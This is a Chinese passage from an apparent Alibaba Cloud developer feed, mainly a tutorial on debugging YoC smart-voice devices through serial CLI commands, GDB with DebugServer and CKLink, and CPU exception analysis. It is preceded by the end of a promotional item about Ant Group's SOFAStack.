    此次云栖大会,SOFAStack再次深入金融级PAAS运维领域,并发布金融级应用PaaS - 高可用管理解决方案,服务各类型的金融服务机构,助力其打造更好地服务大量用户的能力。

    事实上,这些产品能力升级的重磅发布,都是基于蚂蚁金融科技的定位——不断加强金融数字化基础设施的能力。“蚂蚁金融科技和阿里云共同的使命,就是成为金融行业数字化的基础设施,为金融机构的数字化转型按下‘加速按钮’”,蚂蚁集团OceanBase CEO、金融云总经理杨冰表示。

    未来,蚂蚁集团将继续坚持开放的战略依托多年沉淀下来的技术和经验,对外输出更多优质的金融科技产品和解决方案,助力金融机构建立基于云计算、数据智能、分布式业务系统等金融新基建,打造全新的金融服务体验和用户连接渠道,实现客户、场景、产品、服务等的全面数字化升级转型。

    掌握基础设施技术脉搏,搭载数字化转型发展列车,更多精彩内容,赶快“阅读原文”来云栖大会“数字金融源动力”专场参加吧~~

    640.png

    直达云栖会场:https://yunqi.aliyun.com/2020/session152


    上阿里云搜索“mPaaS”.jpg

    动态-logo.gif

    ]]>
    智能语音组件适配指南 | 《无需从0开发 1天上手智能语音离在线方案》第七章-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 智能语音终端调试指南

    1. 使用串口调试

    1.1 用内置串口命令调试

    YoC支持丰富的串口命令,通过串口命令可以完成很多调试操作。系统支持串口命令介绍如下:

    help

    > help
    help            : show commands
    ping            : ping command.
    ifconfig        : network config
    date            : date command.
    ps              : show tasks
    free            : show memory info
    sys             : sys comand
    log             : log contrtol
    iperf           : network performance test
    kv              : kv tools

    输入 help 命令,可以查看当前所有支持命令:

    image.png
    image.png
    image.png

    ps 命令可以打印出当前系统所有的线程状态,每项含义介绍如下:
    image.png

    部分信息详细说明如下:

    • 线程状态有ready、pend、suspend、sleep、deleted
    – ready:表示当前线程已经等待被调度,系统的调度原则是:若优先级不同则高优先级线程运行,优先级相同则各个线程时间片轮转运行
    – pend:表示当前线程被挂起,挂起原因是线程在等待信号量、互斥锁、消息队列等,例如调用:aos_sem_wait,aos_mutex_lock 等接口,线程就会被挂起并置成pend状态。如果是信号量等待时间是forever,则left tick 的值为 0;如果有超时时间,则 left tick 的值就是超时时间,单位为毫秒
    – suspend:表示当前线程被主动挂起,就是程序主动调用了 task_suspend 函数
    – sleep:表示当前线程被主动挂起,就是调用了 aos_sleep 等睡眠函数, left tick 的值即表示 睡眠的时间
    – deleted:当前线程已经被主动删除,也就是调用 krhino_task_del函数

    • %CPU 状态只有在 k_config.h 文件中 RHINO_CONFIG_HW_COUNT和RHINO_CONFIG_TASK_SCHED_STATS宏被设置 1 的时候才会出现。
    • 第一行 CPU USAGE: 640/10000 表示,当前系统的整体负载,如上示例,系统的CPU占有率是 0.64%

    free

    > free
                       total      used      free      peak 
    memory usage:    5652536    605316   5047220   1093576
    

    free 命令可以使用输出当前系统的堆状态,其中:

    • total 为 总的堆的大小
    • used 为 系统使用的 堆大小
    • free 为 系统空余的 堆大小
    • peak 为 系统使用的 堆最大空间

    单位为 byte

    >free mem
    
    ------------------------------- all memory blocks --------------------------------- 
    g_kmm_head = 1829bfc8
    ALL BLOCKS
    address,  stat   size     dye     caller   pre-stat    point
    0x1829cb20  used       8  fefefefe  0x0        pre-used;
    0x1829cb38  used    4128  fefefefe  0xbfffffff pre-used;
    0x1829db68  used    1216  fefefefe  0x180190b6 pre-used;
    0x1829e038  used    2240  fefefefe  0x180190b6 pre-used;
    0x1829e908  used    4288  fefefefe  0x180190b6 pre-used;
    0x1829f9d8  free     592  abababab  0x180aaa6d pre-used; free[     0x0,     0x0] 
    0x1829fc38  used      40  fefefefe  0x180cb836 pre-free [0x1829f9d8];
    0x1829fc70  used      40  fefefefe  0x180cb836 pre-used;
    0x1829fca8  used   18436  fefefefe  0x1810448d pre-used;
    0x182a44bc  used      40  fefefefe  0x180cb836 pre-used;
    ...
    0x183a5ce0  used      16  fefefefe  0x1801d477 pre-used;
    0x183a5d00  used      40  fefefefe  0x1801d477 pre-used;
    0x183a5d38  used      12  fefefefe  0x1801a911 pre-used;
    0x183a5d54  used      32  fefefefe  0x18010d40 pre-used;
    0x183a5d84  used    4288  fefefefe  0x180190b6 pre-used;
    0x183a6e54  free  4559244  abababab  0x18027fd9 pre-used; free[     0x0,     0x0] 
    0x187ffff0  used  sentinel  fefefefe  0x0        pre-free [0x183a6e54];
    
    ----------------------------- all free memory blocks ------------------------------- 
    address,  stat   size     dye     caller   pre-stat    point
    FL bitmap: 0x10f4b
    SL bitmap 0x84
    -> [0][2]
    0x18349b88  free       8  abababab  0x1802a1b1 pre-used; free[     0x0,     0x0] 
    -> [0][7]
    0x182df2f8  free      28  abababab  0x0        pre-used; free[     0x0,     0x0] 
    -> [0][25]
    
    0x182df3c8  free     100  abababab  0x18010ea5 pre-used; free[     0x0,     0x0] 
    ...
    0x182b5704  free  160204  abababab  0x1804fe55 pre-used; free[     0x0,     0x0] 
    SL bitmap 0x4
    -> [16][2]
    0x183a6e54  free  4559244  abababab  0x18027fd9 pre-used; free[     0x0,     0x0] 
    
    ------------------------- memory allocation statistic ------------------------------ 
         free     |     used     |     maxused
         5047040  |      605496  |     1093576
    
    -----------------alloc size statistic:-----------------
    [2^02] bytes:     0   |[2^03] bytes:  1350   |[2^04] bytes: 398770   |[2^05] bytes: 29121   |
    [2^06] bytes: 408344   |[2^07] bytes: 396962   |[2^08] bytes:   350   |[2^09] bytes:   231   |
    [2^10] bytes:    55   |[2^11] bytes:    38   |[2^12] bytes: 396677   |[2^13] bytes:  1410   |
    [2^14] bytes:    14   |[2^15] bytes:    16   |[2^16] bytes:     0   |[2^17] bytes:     4   |
    [2^18] bytes:    17   |[2^19] bytes:     0   |[2^20] bytes:     0   |[2^21] bytes:     0   |
    [2^22] bytes:     0   |[2^23] bytes:     0   |[2^24] bytes:     0   |[2^25] bytes:     0   |
    [2^26] bytes:     0   |[2^27] bytes:     0   |
    

    free mem 命令可以打印出堆内各个节点的细节信息 整个打印信息被分成 4个部分

    • 第一部分为 系统所有 堆节点,包含了 节点的地址、大小、占用状态、调用malloc的程序地址等
    • 第二部分为 当前系统 空置的 堆节点,信息与第一部分相同,只是单独列出了free的节点,可以观察系统的内存碎片情况
    • 第三部分为 系统的总体堆内存使用情况,和 free 命令打印出的信息相同
    • 第四部分为 堆节点的大小统计,与2的次方为单位进行划分

     >free list
                                    total      used      free      peak 
    memory usage:    5652536    605316   5047220   1093576
    
      0: caller=0xbffffffe, count= 1, total size=4128
      1: caller=0x180190b6, count=25, total size=85696
      2: caller=0x180aaa6c, count= 1, total size=592
      3: caller=0x180cb836, count= 3, total size=120
      4: caller=0x1810448c, count= 1, total size=18436
      5: caller=0x18010a68, count=39, total size=1716
      6: caller=0x18014548, count= 8, total size=580
      7: caller=0x18054dda, count= 1, total size=1028
    ...
     52: caller=0x18010d40, count= 2, total size=64
     53: caller=0x1801d5b8, count= 3, total size=72
     54: caller=0x1801d476, count= 6, total size=196
     55: caller=0x1801d5ac, count= 3, total size=48092
     56: caller=0x1801a910, count= 1, total size=12
     57: caller=0x18027fd8, count= 1, total size=4559244
    

    free list 是另一种形式的堆内存使用统计,统计了程序内各个malloc的调用并且还没有free的次数。 这个统计信息对于查找内存泄露非常有帮助。多次输出该命令,若 count 的值出现了增长,则可能有内存泄露的情况出现。

    以上命令的 caller 信息,我们可以通过 在 yoc.asm 反汇编文件查找函数来确认具体的调用函数。

    注意:free mem和free list只有在开启CONFIG_DEBUG_MM和CONFIG_DEBUG时才能使用,因为它需要占用一些内存空间用于存放这些调试信息。

    sys

    image.png

    具体显示的信息如下:

    其中 sys app 和sys id 两个命令是在需要FOTA升级的时候才会使用到,一般是OCC网站颁发的信息,不可更改,如果没有走过FOTA流程一般为空。其余的版本号信息,是代码宏定义,可以在代码中修改。

    date

    data命令是用于查询和设置当前系统时间,一般系统连上网络以后会定期调用ntp,来和服务器同步时间,这个命令可以查询同步时间和设置系统时间

    > date
        TZ(08):Tue Aug 11 18:03:14 2020 1597168994
           UTC:Tue Aug 11 10:03:14 2020 1597140194
           date -s "2001-01-01 12:13:14"
    > date -s "2020-08-11 18:15:38"
    set date to: 2020-08-11 18:15:38
        TZ(08):Wed Aug 12 02:15:38 2020 1597198538
           UTC:Tue Aug 11 18:15:38 2020 1597169738
           date -s "2001-01-01 12:13:14"

    log

    log命令可以用于控制打印等级和打印的模块

    > log
    Usage:
        set level: log level 0~5
            0:disable 1:F 2:E 3:W 4:I 5:D
        add ignore tag: log ignore tag
        clear ignore tag: log ignore
    > log level 0
    > log ignore fota
    log tag ignore list:
    fota
    > log ignore RTC
    log tag ignore list:
    fota
    RTC
    >

    log level num 用于控制打印等级
    0:关闭日志打印;
    1:打印F级别的日志;
    2:打印E级别及以上的日志;
    3:打印W级别及以上的日志;
    4:打印I级别及以上的日志;
    5:打印D级别及以上的日志,也是就日志全开

    log ignore tag 用于控制各个模块的打印
    例如log ignore RTC 表示关闭 RTC 模块的日志打印

    需要注意的是:log 命令只能控制通过 LOG 模块打印出来的日志,直接通过 printf 接口打印的日志 不能被拦截。所以推荐用 LOG 模块去打印日志。

    kv

    kv是一个小型的存储系统,通过key-value 的方式存储在flash中

    > kv
    Usage:  
        kv set key value
        kv get key
        kv setint key value
        kv getint key
        kv del key
    >

    kv set key value 是设置字符串类型的value kv setint key value 是设置整形的value

    例如:

    kv set wifi_ssid my_ssid
    kv set wifi_psk my_psk
    

    如上两条命令是用于设置wifi的 ssid和psk,重启后系统会去通过kv接口获取flash的kv value值,从而进行联网。

    ifconfig

    > ifconfig
    
    wifi0   Link encap:WiFi  HWaddr 18:bc:5a:60:d6:04
            inet addr:192.168.43.167
        GWaddr:192.168.43.1
        Mask:255.255.255.0
        DNS SERVER 0: 192.168.43.1
    
    WiFi Connected to b0:e2:35:c0:c0:ac (on wifi0)
        SSID: yocdemo
        channel: 11
        signal: -58 dBm
    

    ifconfig命令可以查看当前 网络连接的状态,其中:

    • 第一部分是 本机的网络状态,包括本机mac地址,本机IP,网关地址、掩码、DNS Server地址
    • 第二部分是 连接的路由器信息,包括wifi的名称,mac地址,连接的信道、信号质量

    1.2 创建自己的串口命令

    上一节介绍了系统内置的串口命令,本节介绍如何创建自定义串口命令用于调试。 YoC中,串口命令代码模块为cli,其代码头文件为cli.h。自定义串口命令时,需要包含这个头文件。

    代码示例如下:

    /*
     * Copyright (C) 2019-2020 Alibaba Group Holding Limited
     */
    #include <string.h>
    #include <aos/cli.h>
    
    #define HELP_INFO 
        "Usage:ntmycmd testn"
    
    static void cmd_mycmd_ctrl_func(char *wbuf, int wbuf_len, int argc, char **argv)
    {
            int i;
        
        for (i = 0; i < argc; i ++) {
            printf("argv %d: %sn", i, argv[i]);
        }
     
        printf(HELP_INFO);
    }
    
    void cli_reg_cmd_my_cmd(void)
    {
        static const struct cli_command cmd_info = {
            "my_cmd",
            "my_cmd test",
            cmd_mycmd_ctrl_func,
        };
    
        aos_cli_register_command(&cmd_info);
    }

    其中,
    • 需要定义一个被cli回调的函数,当串口输入这个命令时就会触发这个回调,本例为cmd_mycmd_ctrl_func;
    • 需要定义一个命令字符串,用于cli比较用于输入字符串来触发回调,本例为my_cmd;
    • 需要定义帮助信息,用于串口输入help命令时打印出来,本例为my_cmd test;
    • 最后在系统初始化时把这个命令注册到cli里面,本例为cli_reg_cmd_my_cmd;

    这样就可以拥有自己的串口调试命令了,效果如下:

    > my_cmd first cmd test
    argv 0: my_cmd
    argv 1: first
    argv 2: cmd
    argv 3: test
    Usage:
        mycmd test

    2. 使用GDB调试

    GDB是C/C++ 程序员的程序调试利器,很多问题使用GDB调试都可以大大提高效率。GDB在查看变量、跟踪函数跳转流程、查看内存内容、查看线程栈等方面都非常方便。

    同时,GDB也是深入理解程序运行细节最有效的方式之一,GDB 对于学习了解C语言代码、全局变量、栈、堆等内存区域的分布都有一定的帮助。

    下面我们来介绍GDB在基于玄铁内核的嵌入式芯片上的调试方法。

    2.1 建立GDB连接

    这一小节讲解一些嵌入式GDB调试使用的基础知识,和在PC上直接使用GDB调试PC上的程序会有一些区别。

    CK GDB是运行在PC上的GDB程序,通过仿真器和JTAG协议与开发板相连接,可以调试基于玄铁CPU内核的芯片。其中DebugServer为作为连接GDB和CKLink仿真器的桥梁和翻译官,一端通过网络与GDB连接,另一端通过USB线与仿真器连接。

    由于GDB与DebugServer通过网络通讯,他们可运行在同一个或不同的PC上。仿真器CKLink与开发板通过20PIN的JTAG排线连接。

    image.png

    CKLink

    CKLink 实物如下图所示。可以通过淘宝购买 。其使用方法可以查看:CKLink设备使用指南

    image.png

    DebugServer

    DebugServer有Windows 版本和Linux版本,下载和安装过程请参考:《Windows调试环境安装》,《Linux调试环境安装》。

    以Windows版本的DebugServer为例,安装完成以后,打开程序有如下界面:

    image.png

    点击连接按钮,如果连接成功会有CPU和GDB的信息打印,告知当前连接的CPU信息和开启的GDB服务信息。具体使用可以参考OCC资源下载页面下的文档:《DebugServer User Guide_v5.10》。

    2.2 启动GDB及配置

    GDB工具包含在整体的编译调试工具链里面,也可以通过OCC下载。GDB的使用都需要通过命令行完成,通过在终端敲入命令来完成交互 启动GDB通过如下命令进行:

    csky-abiv2-elf-gdb xxx.elf
    

    其中 xxx.elf 为当前板子上运行的程序,它包含了所有的程序调试信息,如果缺少elf文件则无法进行调试。

    启动GDB后输入如下命令连接DebugServer。这条命令在DebugServer的界面会有打印,可以直接复制。

    target remote [ip]:[port]
    

    需要注意的是:运行GDB程序对应的PC需要能够通过网络访问DebugServer开启的对应的IP
    连上以后就可以通过GDB 访问调试开发板上的芯片了。

    .gdbinit 文件

    .gdbinit 文件为GDB启动时默认运行的脚本文件,我们可以在.gdbinit 文件里面添加启动默认需要执行的命令,例如:target remote [ip]:[port],那么在启动GDB的时候,会直接连接DebugServer,提高调试效率。

    2.3 常用GDB命令

    这一小节介绍一些常用的GDB命令及使用方法。
    加载程序

    • 命令全名: load
    • 简化 :lo
    • 说明 :将 elf 文件 加载到 芯片中,这个命令对代码在flash运行的芯片无效。

    举例:

    (cskygdb) lo
    Loading section .text, size 0x291a00 lma 0x18600000
            section progress: 100.0%, total progress: 69.01% 
    Loading section .ram.code, size 0x228 lma 0x18891a00
            section progress: 100.0%, total progress: 69.02% 
    Loading section .gcc_except_table, size 0x8f8 lma 0x18891c28
            section progress: 100.0%, total progress: 69.08% 
    Loading section .rodata, size 0xeeac4 lma 0x18892520
            section progress: 100.0%, total progress: 94.12% 
    Loading section .FSymTab, size 0x9c lma 0x18980fe4
            section progress: 100.0%, total progress: 94.13% 
    Loading section .data, size 0x2e3c4 lma 0x18981400
            section progress: 100.0%, total progress: 98.98% 
    Loading section ._itcm_code, size 0x9b70 lma 0x189af7c4
            section progress: 100.0%, total progress: 100.00% 
    Start address 0x18600014, load size 3903412
    Transfer rate: 238 KB/sec, 4003 bytes/write.

    继续执行

    • 命令全名:continue
    • 简化 :c
    • 说明 :继续执行被调试程序,直至下一个断点或程序结束。

    举例:

    (cskygdb)c
    

    当DebugServer连接上开发板,程序会自动停止运行。等GDB挂进去以后,用c就可以继续运行程序。

    当程序在运行的时候,GDB直接挂入也会使程序停止运行,同样用c 命令可以继续运行程序。

    同样,当 load完成后,也可以使用c运行程序。

    暂停运行

    使用组件按键 ctrl + c 可以停止正在运行的程序。

    停止运行程序后就可以进行各种命令操作,如打印变量,打断点,查看栈信息,查看内存等。

    当操作完成以后,使用c 继续运行,或者使用 n/s 单步执行调试。

    打印变量

    • 命令全名: print
    • 简化 : p

    打印变量可以打印各种形式

    • 变量
    • 变量地址
    • 变量内容
    • 函数
    • 计算公式

    举例:

    (cskygdb)p g_tick_count
    (cskygdb)p &g_tick_count
    (cskygdb)p *g_tick_count
    (cskygdb)p main
    (cskygdb)p 3 * 5

    可以指定打印格式 按照特定格式打印变量

    • x 按十六进制格式显示变量。
    • d 按十进制格式显示变量。
    • o 按八进制格式显示变量。
    • t 按二进制格式显示变量。
    • c 按字符格式显示变量。

    通过这个功能,还可以进行简单的 各种进制转换

    举例:

    (cskygdb)p /x g_tick_count
    (cskygdb)p /x 1000
    (cskygdb)p /t 1000

    注意:有些局部变量会被编译器优化掉,可能无法查看。 p 命令是万能的,可以 p 变量地址,可以p 变量内容,可以p 函数地址;基本上所有符号,都可以通过p查看内容。

    设置断点

    • 命令全名: breakpoint
    • 简化 :b

    设置断电可以让程序自动停止在你希望停止的地方,断点可以以下面多种方式设置

    • 行号
    • 函数名
    • 文件名:行号
    • 汇编地址

    举例:

    (cskygdb)b 88
    (cskygdb)b main
    (cskygdb)b main.c:88
    (cskygdb)b *0x18600010

    硬件断点

    嵌入式芯片一般都有硬件断点可以设置,它相对于普通断点的不同是,该断点信息保存在cpu 调试寄存器里面,由cpu通过运行时的比较来实现断点功能,而普通断点则是通过修改该处代码的内容,替换成特定的汇编代码来实现断点功能的。 需要注意的是:硬件断点的设置会影响cpu的运行速度,但是对于一些微型的嵌入式芯片,代码放在flash这种无法写入,只能读取介质上时,就只能通过设置硬件断点才能实现断点功能,普通的断点设置将不会生效。 设置硬件断点通过另外一个命令设置,举例:

    (cskygdb)hb main
    

    设置内存断点

    • 命令全名: watchpoint
    • 简化 :watch

    设置内存断电可以在内存的内容发生变化的时候 自动停止运行。可以通过设置变量、内存断点

    举例:

    (cskygdb)watch g_tick_count
    (cskygdb)watch *0x18600010
    

    内存断点和硬件断点是相同的原理,只要是cpu运行导致的内存修改都会自动停止运行。内存断点和硬件断点都会都会占用cpu的调试断点数,每个芯片都由固定有限的个数可供设置,一般为4个或者8个等。

    查看断点

    • 命令全名:info breakpoint
    • 简化 :i b

    举例:

    (cskygdb) i b
    Num     Type           Disp Enb Address    What
    1       breakpoint     keep y   0x18704f9c in main 
                                               at vendor/tg6100n/aos/aos.c:110
    2       breakpoint     keep y   0x1871ca9c in cpu_pwr_node_init_static 
                                               at kernel/kernel/pwrmgmt/cpu_pwr_hal_lib.c:88

    使能断点

    • 命令全名:enable
    • 简化 :en

    举例:

    (cskygdb)en 1
    

    禁止断点

    • 命令全名:disable
    • 简化 :dis

    举例:

    (cskygdb)dis 1
    

    查看栈信息

    • 命令全名: backtrace
    • 简化 : bt

    例如:

    (cskygdb) bt
    #0  board_cpu_c_state_set (cpuCState=1, master=1)
        at vendor/tg6100n/board/pwrmgmt_hal/board_cpu_pwr.c:103
    #1  0x1871cb98 in cpu_pwr_c_state_set_ (
        all_cores_need_sync=<optimized out>, master=<optimized out>, 
        cpu_c_state=CPU_CSTATE_C1, 
        p_cpu_node=0x189d2100 <cpu_pwr_node_core_0>)
        at kernel/kernel/pwrmgmt/cpu_pwr_hal_lib.c:275
    #2  _cpu_pwr_c_state_set (target_c_state=CPU_CSTATE_C1)
        at kernel/kernel/pwrmgmt/cpu_pwr_hal_lib.c:495
    #3  cpu_pwr_c_state_set (target_c_state=CPU_CSTATE_C1)
        at kernel/kernel/pwrmgmt/cpu_pwr_hal_lib.c:524
    #4  0x1871d20c in tickless_enter ()
        at kernel/kernel/pwrmgmt/cpu_tickless.c:381
    #5  0x1871ce74 in cpu_pwr_down ()
        at kernel/kernel/pwrmgmt/cpu_pwr_lib.c:70
    #6  0x187095a4 in idle_task (arg=<optimized out>)
        at kernel/kernel/rhino/k_idle.c:48
    #7  0x1870bf44 in krhino_task_info_get (task=<optimized out>, 
        idx=<optimized out>, info=0x8000000)
        at kernel/kernel/rhino/k_task.c:1081
    Backtrace stopped: frame did not save the PC
    

    选择栈帧

    • 命令全名: frame
    • 简化 :f

    举例:

    (cskygdb) f 2
    #2  _cpu_pwr_c_state_set (target_c_state=CPU_CSTATE_C1)
        at kernel/kernel/pwrmgmt/cpu_pwr_hal_lib.c:495
    495                 ret = cpu_pwr_c_state_set_(p_cpu_node, target_c_state, master, FALSE);

    选择了栈帧就可以通过 p 命令查看该栈函数内的局部变量了。(函数内的局部变量是存放在栈空间中的)

    单步执行

    • 命令全名: next
    • 简化 :n

    举例:

    (cskygdb) n
    

    单步执行进入函数

    • 命令全名: step
    • 简化 :s

    举例:

    (cskygdb) s
    

    单步执行(汇编)

    • 命令全名: nexti
    • 简化 :ni

    举例:

    (cskygdb) ni
    

    单步执行进入函数(汇编)

    • 命令全名: stepi
    • 简化 :si

    举例:

    (cskygdb) si
    

    相对于s 的单步执行,si的单步执行精确到了汇编级别,每一个命令执行一条汇编指令。对于优化比较严重的函数,s 的按行 单步执行 流程往往会比较混乱,按汇编的单步执行则会比较符合芯片底层的逻辑。当然使用si单步调试程序,也需要程序员对于汇编指令有比较好的了解,调试难度也比较大。但是对于嵌入式程序,编译器必然会对程序进行各种优化,s 的单步调试往往不是很好的选择。

    完成当前函数

    • 命令全名: finish
    • 简化 :fin

    举例:

    (cskygdb) fin
    

    当想跳出该函数调试时,使用该命令会相当方便。但是该命令有一个限制,当在不会支持普通断点的设备上调试时(代码放在flash上执行),这个命令需要配合 另一条命令才能生效

    (cskygdb) set debug-in-rom
    

    这条命令的意思是,告诉gdb这个代码是放在flash上的,需要使用硬件断点才能使用fin命令,这条命令只需要执行一次。

    设置变量

    • 命令格式:

    set [variable] = [value]
    

    举例:

    (cskygdb) set g_tick_count = 100
    (cskygdb) set *0x186000010 = 0x10
    

    在调试一些程序逻辑时,通过设置变量数值可以让程序走期望的流程,来方便调试。

    查看内存

    • 命令格式

    x /[n][f][u] [address]
    

    其中:
    • n 表示显示内存长度,默认值为1
    • f 表示显示格式,如同上面打印变量定义
    • u 表示每次读取的字节数,默认是4bytes
    – b 表示单字节
    – h 表示双字节
    – w 表示四字节
    – g 表示八字节

    举例:

    (cskygdb) x /20x 0x18950000
    0x18950000:     0x6f445f6c      0x72652077      0x21726f72      0x6c43000a
    0x18950010:     0x546b636f      0x72656d69      0x5f6c633a      0x61746164
    0x18950020:     0x6c633e2d      0x6365535f      0x74696220      0x2070616d
    0x18950030:     0x61207369      0x30206c6c      0x21212120      0x6c43000a
    0x18950040:     0x546b636f      0x72656d69      0x5f6c633a      0x61746164

    这条命令对于调试踩内存,栈溢出等大量内存变化的场景非常有帮助。

    2.4 快速上手调试

    接下来,你可以找一块开发板,按照下面步骤体验GDB调试过程:

    • 如前面介绍,下载并安装DebugServer
    • GDB 连上DebugServer
    • lo //灌入编译好的 elf
    • b main //打断点到 main函数入口
    • c //运行程序
    • 如果顺利,这时程序应该自动停在main函数入口
    • n //单步执行下一行程序,可以多执行几次
    • 找几个全局变量, p 查看结果

    大部分开发板上电都自动会运行程序,连上DegbuServer就会停止运行。

    注意事项

    • 调试的时候 elf 文件 一定要和运行程序对应上,不然没法调试,使用一个错误的elf文件调试程序,会出现各种乱七八糟的现象。而且同一份代码,不同的编译器,不同的主机编译出来的elf都可能不相同。所以保存好编译出来的elf相当重要
    • 对于一些代码运行在 flash的芯片方案,GDB调试的时候要注意转换,和在ram上GDB调试命令有一些不一样。
    • watch 只能观察到CPU的内存更改行为,如果是外设(DMA等)运行导致的内存变化,不能被watch到
    • CKLink 连接开发板可能存在各种问题连接不上,要仔细检查,包括:开发板是否上电,芯片是否上电,芯片是否在运行,JTAG排线是否插反等等。

    3. CPU异常分析及调试

    3.1 CPU异常案例

    在开发板运行过程中,有时会突然出现如下打印,进而程序停止运行,开发板也没有任何响应:

    CPU Exception: NO.2
    r0: 0x00000014  r1: 0x18a70124  r2: 0x00001111  r3: 0x10020000  
    r4: 0x00000000  r5: 0x00000001  r6: 0x00000002  r7: 0x07070707  
    r8: 0x00000000  r9: 0x09090909  r10: 0x10101010 r11: 0x11111111 
    r12: 0x40000000 r13: 0x00000000 r14: 0x18b166a8 r15: 0x186d9c0a 
    r16: 0x16161616 r17: 0x47000000 r18: 0x3f800000 r19: 0x00000000 
    r20: 0xc0000000 r21: 0x40000000 r22: 0x00000000 r23: 0x00000000 
    r24: 0x40400000 r25: 0x12345678 r26: 0x12345678 r27: 0x12345678 
    r28: 0x12345678 r29: 0x12345678 r30: 0x12345678 r31: 0x12345678 
    vr0: 0x12345678 vr1: 0x00000000 vr2: 0x00000000 vr3: 0x00000000 
    vr4: 0x00000000 vr5: 0x00000000 vr6: 0x00000000 vr7: 0x00000000 
    vr8: 0x00000000 vr9: 0x00000000 vr10: 0x00000000    vr11: 0x00000000    
    vr12: 0x00000000    vr13: 0x00000000    vr14: 0x00000000    vr15: 0x00000000    
    vr16: 0x00000000    vr17: 0x00000000    vr18: 0x00000000    vr19: 0x00000000    
    vr20: 0x00000000    vr21: 0x00000000    vr22: 0x00000000    vr23: 0x00000000    
    vr24: 0x00000000    vr25: 0x00000000    vr26: 0x00000000    vr27: 0x00000000    
    vr28: 0x00000000    vr29: 0x00000000    vr30: 0x00000000    vr31: 0x00000000    
    vr32: 0x00000000    vr33: 0x00000000    vr34: 0x00000000    vr35: 0x00000000    
    vr36: 0x00000000    vr37: 0x00000000    vr38: 0x00000000    vr39: 0x00000000    
    vr40: 0x00000000    vr41: 0x00000000    vr42: 0x00000000    vr43: 0x00000000    
    vr44: 0x00000000    vr45: 0x00000000    vr46: 0x00000000    vr47: 0x00000000    
    vr48: 0x00000000    vr49: 0x00000000    vr50: 0x00000000    vr51: 0x00000000    
    vr52: 0x00000000    vr53: 0x00000000    vr54: 0x00000000    vr55: 0x00000000    
    vr56: 0x00000000    vr57: 0x00000000    vr58: 0x00000000    vr59: 0x00000000    
    vr60: 0x00000000    vr61: 0x00000000    vr62: 0x00000000    vr63: 0x00000000    
    
    epsr: 0xe4000341
    epc : 0x186d9c12

    这段打印表明程序已经崩溃。接下来以它为例,来一步一步分析如何调试和解决。

    3.2 基础知识介绍

    3.2.1 关键寄存器说明

    • pc:程序计数器,它是一个地址指针,指向了程序执行到的位置
    • sp:栈指针,它是一个地址指针,指向了当前任务的栈顶部,它的下面存了这个任务的函数调用顺序和这些被调用函数里面的局部变量。在玄铁CPU框架里,它对应了 R14 寄存器
    • lr:连接寄存器,它也是一个地址指针,指向子程序返回地址,也就是说当前程序执行返回后,执行的第一个指令就是lr寄存器指向的指令,在玄铁CPU框架里,它对对应了 R15 寄存器
    • epc:异常保留程序计数器,它是一个地址指针,指向了异常时的程序位置,这个寄存器比较重要,出现异常后,我们就需要通过这个寄存器来恢复出现异常时候的程序位置。
    • epsr:异常保留处理器状态寄存器,它是一个状态寄存器,保存了出异常前的系统状态。
    这几个重要的寄存器都在上面的异常打印中打印出来了。

    3.2.2 关键文件说明

    • yoc.elf:保存了程序的所有调试信息,GDB调试时必须用到该文件,编译完程序后务必保留该文件。
    • yoc.map:保存了程序全局变量,静态变量,代码的存放位置及大小。
    • yoc.asm:反汇编文件,保存了程序的所有反汇编信息。这些文件都保存在每个solutions目录中。如果使用CDK开发,则位于项目的Obj目录中。
    其中:
    • yoc.map 文件必须在编译链接的时候通过编译选项生成,例如:CK的工具链的编译选项为-Wl,-ckmap='yoc.map'
    • yoc.asm 文件可以通过elf 文件生成,具体命令为csky-abiv2-objdump -d yoc.elf > yoc.asm

    3.2.3 异常号说明

    在XT CPU架构里,不同的cpu异常会有不同的异常号,我们往往需要通过异常号来判断可能出现的问题。

    image.png
    image.png

    这些异常中,出现最多的是 1、2 号异常,4、7 偶尔也会被触发,3号异常比较好确认。

    3.3 异常分析过程

    GDB准备及连接
    参考上节:《2. 使用GDB调试》。

    恢复现场

    在GDB 使用 set 命令 将异常的现场的通用寄存器和 PC 寄存器设置回CPU中,便可以看到崩溃异常的程序位置了

    (cskygdb)set $r0=0x00000014
    (cskygdb)set $r1=0x18a70124
    (cskygdb)set $r2=0x00001111
    (cskygdb)set $r3=0x10020000 
    ...
    (cskygdb)set $r14=0x18b166a8
    (cskygdb)set $r15=0x186d9c0a
    ...
    (cskygdb)set $r30=0x12345678
    (cskygdb)set $r31=0x12345678
    (cskygdb)set $pc=$epc

    不同的CPU 通用寄存器的个数有可能不相同,一般有 16个通用寄存器、32个通用寄存器两种版本,我们只需要把通用寄存器,即 r 开头的寄存器,设置回CPU即可。 pc,r14,r15 三个寄存器是找回现场的关键寄存器,其中r14,r15分别是 sp 寄存器和 lr寄存器,pc寄存器需要设置成epc。其余的通用寄存器是一些函数传参和函数内的局部变量。

    设置完成以后,通过 bt命令可以查看异常现场的栈:

    (cskygdb) bt
    #0  0x186d9c12 in board_yoc_init () at vendor/tg6100n/board/init.c:202
    #1  0x186d9684 in sys_init_func () at vendor/tg6100n/aos/aos.c:102
    #2  0x186dfc14 in krhino_task_info_get (task=<optimized out>, idx=<optimized out>, info=0x11)
        at kernel/kernel/rhino/k_task.c:1081
    Backtrace stopped: frame did not save the PC
    
    
    
    从 bt 命令打印出来的栈信息,我们可以看到 异常点在 init.c 的 202 行上,位于board_yoc_init函数内。 到这里,对于一些比较简单的错误,基本能判断出了什么问题。 如果没法一眼看出问题点,那我们就需要通过异常号来对应找BUG了。

    3.4 通过异常号找BUG

    程序崩溃后,异常打印的第一行就是CPU异常号。

    CPU Exception: NO.2
    

    如上,我们示例中的打印是2号异常。 2号异常是最为常见的异常,1号异常也较为常见。4号、7号一般是程序跑飞了,运行到了一个不是程序段的地方。3号异常就是除法除零了,比较好确认。其余的异常基本不会出现,出现了大概率也是芯片问题或者某个驱动问题,不是应用程序问题。

    CPU Exception: NO.1

    一号异常是访问未对齐异常,一般是一个多字节的变量从一个没有对齐的地址赋值或者被赋值。 例如:

    uint32_t temp;
    uint8_t data[12];
    temp = *((uint32_t*)&data[1]);

    如上代码,一个 4字节的变量 temp从 一个单字节的数组中取4个字节内容,这种代码就容易出现地址未对齐异常。这种操作在一些流数据的拆包组包过程比较常见,这个时候就需要谨慎小心了。

    有些CPU 可以开启不对齐访问设置,让CPU可以支持从不对齐的地址去取多字节,这样就不会出现一号异常。但是为了平台兼容性,我们还是尽量不要出现这样的代码。

    CPU Exception: NO.2

